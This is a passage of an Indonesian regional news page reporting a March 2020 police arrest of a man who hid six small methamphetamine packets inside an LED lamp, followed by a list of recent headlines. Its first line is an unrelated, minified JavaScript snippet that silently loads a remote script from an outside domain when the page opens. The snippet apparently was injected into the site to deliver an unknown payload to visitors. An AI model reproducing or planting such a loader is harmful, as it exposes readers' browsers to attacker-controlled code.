(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Simpan Sabu di Lampu LED, Asul Naga Akhirnya Dibekuk Polsek Alabio


KANALKALIMANTAN.COM, AMUNTAI – SA alias Asul Naga (28) warga Desa Tapus Dalam Kecamantan Sungai Pandan (Alabio) Kabupaten Hulu Sungai Utara (HSU), tak berkutik setelah anggota Polsek Alabio bersama Sat Narkoba Polres HSU menemukan 6 paket sabu, saat menggeledah rumahnya
pada (6/3/ 2020) kemarin.

Ditangkapnya tersangka Asul Naga disertai penggeledahan tersebut, adalah hasil dari pengembangan kasus oleh anggota Polsek Alabio usai beberapa hari sebelumnya juga meringkus dua pelaku yang diduga sebagai kurir sabu diwilayah tersebut.

Kapolres HSU AKBP Pipit Subiyanto SIK MH melalui Kapolsek Alabio Iptu Agus Sumitro, kepada kanalkalimantan.com, Minggu (8/3/2020) mengakui penangkapan terhadap tersangka SA alias Asul Naga, merupakan pengembangan dan informasi dari dua tersangka yang berhasil diringkus sebelumnya di kawasan Alabio.

Alhasil diperoleh barang bukti yaitu 6 Paket Plastik Piper Clip yang berisikan Narkotika jenis Sabu dengan berat kotor keseluruhan sebanyak 1.70 gram dan berat bersih keseluruhan 0.80 gram.1 buah lampu Led Premium quality warna putih, 1 buah kepala Charging warna putih dan 1 buah Handphone.

“Tersangka ini ada keterkaitan dengan tersangka Nuri kemarin.” Ujar Kapolsek Alabio ini saat dikonfirmasi Kanalkalimantan.com.

Dari informasinya, penangkapan tersangka Asul ini sendiri bermula saat dilakukan penangkapan dan melakukan penggeledahan rumahnya dengan disaksikan oleh warga setempat.

Hasilnya ditemukan barang bukti sabu didalam kamar tepatnya di atas lemari rias berupa sebuah lampu Led Premium quality warna putih yang didalam nya berisikan 6 paket plastik piper clip yg berisikan narkotika jenis sabu-sabu dengan berat keseluruhan 1.70 gram.

Atas temuan tersebut tersangka bersama barang bukti digelandang ke Polres HSU guna proses lebih lanjut dan bakal disangkakan Pasal 114 ayat ( 1 ) atau 112 ayat ( 1 ) nomor 35 Tahun 2009 terkait Tentang Narkotika.(kanalkalimantan.com/dew)

Reporter : Dew
Editor : Chell


Desy Arfianty

Recent Posts

Presma UIN Antasari: Rakyat Adalah Pemegang Kedaulatan Tertinggi

KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More

42 menit ago

Wacana Pilkada Melalui DPRD, BEM SI Kalsel: Kemunduran Demokrasi

KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More

4 jam ago

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

7 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

7 jam ago

Pascabanjir Bandang Balangan 48 Rumah Mulai Diperbaiki

KANALKALIMANTAN.COM, PARINGIN – Pekan pertama masa pemulihan pascabanjir di Kabupaten Balangan, sejumlah perbaikan sudah mulai… Read More

7 jam ago

Serah Terima Aset Pemkab Kapuas – Kejari, Bupati Wiyatno: Lahan akan Dijadikan Taman

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas dan Kejaksaan Negeri (Kejari) Kapuas melakukan serah… Read More

11 jam ago

This website uses cookies.